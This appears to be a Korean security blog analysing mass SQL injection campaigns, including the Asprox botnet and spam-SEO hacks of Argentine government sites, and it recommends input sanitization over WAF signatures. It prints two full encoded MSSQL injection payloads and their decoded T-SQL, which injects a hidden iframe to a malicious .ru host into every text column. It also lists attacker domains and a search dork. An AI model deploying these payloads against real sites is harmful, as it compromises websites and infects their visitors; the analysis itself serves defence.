최근 전세계적으로 SQL 인젝션 공격이 대규모로 발생하여 약 50여만 개의 웹사이트가 감염되어 충격을 주고 있습니다. 이 중에는 국내 웹사이트도 포함되어 있으며 약 2만 여개로 파악되고 있습니다. 이에 대한 사항을 정리해 봤습니다.
자동화된 SQL 인젝션 공격은 최초에 SANS에서 파악되어 알려졌으며 자세한 사항은 아래와 같습니다.
공격 코드로 추정되는 로그는 다음과 같습니다.
공격 코드 #1. declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320
764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e61
6d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e6964
20614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e7854595
0653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d2
05461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657
845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722
834303030292c5b272b40432b275d29292b636153542830783343363936363732363136443635323037333732363333443232363837343
73437303341324632463645363536443646363837353639364336343639363936453245373237353246373436343733324636373646324
53730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343
34432323330323232303733373437393643363533443232363436393733373036433631373933413645364636453635323233453343324
6363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c65
5f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c6
55f435552736f7220%20as%20varchar(4000));exec(@s);--
공격 코드 #2. declare%20@s%20varchar(4000);set%20@s=cast(0x6465636c617245204054205661726368417228323535292c406320
566172436861522832353529206465436c615265207441624c455f637552736f7220437552536f7220664f522073454c45435420412e4e616d452
c622e4e616d652066726f4d207379734f626a6563547320612c735973634f6c754d6e73206220576865524520612e69643d422e496420416e4420
612e78545970453d27552720414e642028622e58745950653d3939204f5220622e58747950653d3335204f5220622e78747950453d323331206f7
220422e58747950453d31363729206f70454e207441426c455f437552734f72206665746348206e4578742046724f6d205441426c655f637572736
f7220494e546f2040742c4043205748694c6528404066655463485f7374615475733d302920624547694e20455845632827557064615465205b27
2b40742b275d20536574205b272b40632b275d3d727472494d28434f6e7665525428764172434841722834303030292c5b272b40432b275d2929
2b63615374283078334336393636373236313644363532303733373236333344323236383734373437303341324632463645363536443646363
8373536393643363436393639364532453732373532463734363437333246363736463245373036383730334637333639363433443331323232
3037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323
6343639373337303643363137393341364536463645363532323345334332463639363637323631364436353345204173205641726348615228
31303629292729204645546348206e4578542046524f4d205441626c655f437572734f5220494e546f2040742c406320654e6420436c4f53652054
61624c455f635552734f52206445416c6c6f43415445205461426c455f435552736f5220%20as%20varchar(4000));exec(@s);--
이 코드를 해독한 결과 다음과 같은 문자열을 찾아 낼 수 있습니다.
공격 코드 #1.
dEcLArE @T vaRchaR(255),@c
vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM
sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe='U' and
(b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN
TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c
whilE(@@FetCh_stAtuS=0) beGIn exEc('UpDaTE ['+@t+'] SeT
['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E
aS vaRCHar(106))') FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close
tablE_CuRsoR dEALLoCATe TaBLe_CURsor
공격 코드 #2.
declarE @T VarchAr(255),@c
VarChaR(255) deClaRe tAbLE_cuRsor CuRSor fOR sELECT A.NamE,b.Name froM
sysObjecTs a,sYscOluMns b WheRE a.id=B.Id AnD a.xTYpE='U' ANd
(b.XtYPe=99 OR b.XtyPe=35 OR b.xtyPE=231 or B.XtyPE=167) opEN
tABlE_CuRsOr fetcH nExt FrOm TABle_cursor INTo @t,@C
WHiLe(@@feTcH_staTus=0) bEGiN EXEc('UpdaTe ['+@t+'] Set
['+@c+']=rtrIM(COnveRT(vArCHAr(4000),['+@C+']))+caSt(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E
As VArcHaR(106))') FETcH nExT FROM TAble_CursOR INTo @t,@c eNd ClOSe
TabLE_cURsOR dEAlloCATE TaBlE_CURsoR
주: 차이점은 declare 단어의 대소문자입니다.
두번째 CAST() 에 포함되어 있는 문자열을 해독하면 아래와 같습니다.( 두개가 동일함)
공격 코드 #1 & #2.
<iframe src="hxxp://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>
nemohuildiin.ru 도메인은 중국에서 관리한 것으로 알려져 있으며 이미 방탄서버(bulletproof host)로 알려져 있는 AS4134 에 속해 있습니다. 이 네트워크는 Zeus 본넷의 C&C(Command and Control) 서버가 운영 중인 것으로 알려져 있습니다.
구글의 검색 조건을 보다 자세하게 적용한 결과, AS4134가 조종하는 도메인은 약 3,008개에 이르며, 감염된 웹사이트는 약 20,800 개에 이릅니다. 구글 측에 따르면 현재 12,000 여개의 사이트가 현재에도 운영 중에 있다고 합니다.
이렇게 웹 보안에서 가장 문제가 되는 SQL 인젝션 취약점은 최근에는 봇넷을 확장하는데 널리 이용되는 수단이 되고 있으며, 이 이외에도 바이러스 감염, 악성코드 전파 등도 함께 이뤄집니다.
마지막으로, SQL 인젝션 취약점은 WAF(웹 방화벽, Web Application Firewall)로는 막기 어렵다는 것을 다시 한번 상기시켜 줍니다. 즉, 패턴(Pattern 또는 Signature)을 인식하여 차단하는 방식은 글자 한글자만 바꿔도 새로운 패턴으로 인식하는 한계를 지니고 있습니다.
따라서, 이 문제점을 해결하기 위해서는 웹 소스 상에서 모든 매개변수 및 변수에 대해 안전한 값을 주고받는지 확인하는 Santization 과정을 반드시 수행하도록 소스를 개발 및 수정해야 합니다.
시만텍, 소포스, 카스퍼스키와 같은 유명한 보안 기업에서는 일정한 기간 즉, 분기나 반기마다 보안 정책이나 뉴스, 트렌드에 대한 보고서를 정기적으로 발간합니다.
최근 발간한 시만텍의 메시지랩스의 보고서에 따르면 악성 코드를 유포하는 사이트의 약 90%가 정상적인 웹사이트인 것으로 밝혀져 충격을 주고 있습니다.
기존의 경향대로라면 해커들이 고유한 목적으로 사용하기 위해 도메인을 생성하고 이를 이용하여 악성코드를 다운로드하거나 공격하게 하는 일련의 행동을 보여왔습니다. 하지만, 이렇게 도메인은 생성하게 되는 경우에는 금방 탄로가 나게 되어 차단되는 단점이 있다고 볼 수 있습니다.
하지만, 최근 월드컵 웹사이트의 해킹 건과 같이 정상적인 웹사이트에 악성코드를 유포하는 페이지나 스팸 메시지를 보여주는 페이지를 은밀하게 업로드하여 이용하는 행태가 더욱 증가하고 있습니다.
이렇게 악성 코드를 유포하게끔 하기 위한 공격 방식은 XSS(Cross-site scripting), SQL 인젝션, FTP 정보 누출 등을 이용하는 것으로 알려지고 있습니다.
이중 XSS와 SQL 인젝션은 웹 취약점의 가장 대표적인 사례로 손꼽이고 있으며, 아직까지도 제대로 해결되지 못하고 있습니다. 물론, 이 취약점들은 악성 코드를 대규모로 유포시키는 Mass SQL Injection 취약점을 포함하고 있습니다.
FTP에 관련된 부분으로는 계정정보가 누출되거나, ACL을 제대로 관리하지 못하는 경우에 발생하는 것으로 예상됩니다.
최근 보안 전문가들은 아르헨티나 정부가 가지고 있는 다수의 웹사이트가 해킹되어 BHSEO(Black Hat Serach Engine Optimization Campaign)에 이용되고 있는 것을 발견했다고 밝혔으며, 일부 사이트에서는 악성코드까지 배포하기도 했다고 합니다.
이러한 사실은 보안 전문 기업인 Sucuri Security에 의해 밝혀졌으며, 이 회사는 웹 기반의 무결성 모니터링 및 악성코드 유포 진단 솔루션을 보유하고 있습니다. 이 회사의 블로그에 관련자료가 업로드되어 있어 간단하게 정리해 소개합니다.
해킹된 아르헨티나의 정부 웹사인트는 아래와 같으며, 스패머가 BHSEO로 이용하고 있습니다.
해킹된 사이트는 구글 검색창에서 inurl:.gov.ar "cheap viagra" 또는 inurl:.gov.ar "cheap cialias" 단어를 입력하여 찾을 수 있습니다.
재미있는 사실은 아무도 해킹되어 스팸이 발송되고 있는지 파악하지 못하고 있었다는 것이며, 따라서 치료와 같은 아무런 조치가 취해지지 않았습니다. 일부 사이트에서는 악성코드 자체가 업로드되기도 했습니다.(예. http://www.sanmartin.gov.ar/sitio/noticias/)
공격자들은 해당 사이트가 검색 엔진에서 높은 순위를 가지고 있다는 점에 착안하여 공격한 것으로 추측되며, 물론 'viagra', 'cialas'를 검색한 경우를 말합니다.
해킹당한 사이트를 살펴 본 결과, 취약점을 가지고 있는 예전 버전의 워드프레스를 사용하거나 SQL 인젝션 취약점을 가지고 있는 일부 웹 애플리케이션을 통해 발생한 것으로 추측됩니다.
최근 SQL 인젝션 취약점을 이용하여 대규모로 공격이 이뤄지는 Mass SQL Injection 공격이 서너번 발생했습니다.
외국의 유명한 보안 기업인 M86 Security Lab은 Pushdo 봇넷이 발송하는 스팸에서 Asprox 의 변형된 악성 코드가 발견되었다는 소식을 공개했습니다. 원래 Asprox 악성 코드는 스팸을 발송하는 용도였지만 이 번에는 IIS/ASP 플랫폼으로 구성된 웹사이트에 대규모로 감염되는 현상이 새롭게 나타났습니다. 이 번주에 들어 새롭게 출현한 Asprox의 변형된 악성 코드들은 스팸을 보낼 뿐만 아니라 SQL 인젝션 공격을 수행하는 것으로 확인되었습니다.
현재 다음과 같이 3개의 사이트가 공격에 사용되고 있습니다.
CL63AMGTART.RU
HYPERVMSYS.RU
ML63AMGSTART.RU
이 도메인들은 Asprox 봇의 컨트롤 서버를 인식하는데 사용되고 있으며, 컨트롤 서버에서는 스팸 템플릿 및 메일 수신자에 대한 정보도 제공합니다.
현재까지 입수된 공격 코드를 살펴 보면 아래 화면과 같이 SQL 인젝션 명령어를 포함하고 있는 것을 확인할 수 있습니다.
한편, Asprox 봇넷에서는 IIS/ASP로 작성된 웹사이트를 찾기 위해 구글의 엔진을 이용하고 있는 것도 확인되었습니다.
SQL 인젝션 공격에 이용되는 인코딩된 코드는 아래와 같습니다.
위의 코드 중에 노랑색으로 표시된 부분을 디코딩하면 아래와 같은 SQL 구문이 나타납니다.
위의 하면에서 빨간색 사각형으로 표시된 부분을 디코딩하면 아래와 같이 공격 코드를 유포하는 사이트를 알아 낼 수 있었습니다.
이 코드를 이용하여 구글에서 검색해 보면 현재 감염되어 있는 웹사이트의 현황 및 숫자를 파악할 수 있습니다.
위 화면에서 빨간색으로 표시된 것은 국내 사이트로 Aspox 봇넷의 공격으로 침해된 상태를 나타냅니다. 이 사이트를 방문해 보면 아래와 같이 공격된 코드가 아직도 남아 있는 것을 확인할 수 있습니다.
<경고: 해당 사이트에는 아직 공격 코드가 남아 있는 상태이므로 방문하지 않는 것이 좋습니다>
구글을 통해 검색해 본 결과, 현재 6천 여개의 URL이 감염되어 있으며, Asprox의 변형 코드가 출현할 때마다 침해 당하는 사이트가 증가할 것으로 예상됩니다.
필자가 자주 언급하는 사항이지만, 최근에는 웹 보안의 가장 기본적이면서도 오래된 고질병인 SQL 인젝션과 XSS 공격이 다시 활개를 치고 있습니다. 아울러 하나의 공격 방식만을 고집하는 것이 아니라 스팸 + SQL 인젝션 공격과 같이 2가지 이상의 상이한 공격 벡터를 보이면서 이를 차단하는 방법에 대한 추가적인 연구가 필요할 것으로 생각됩니다.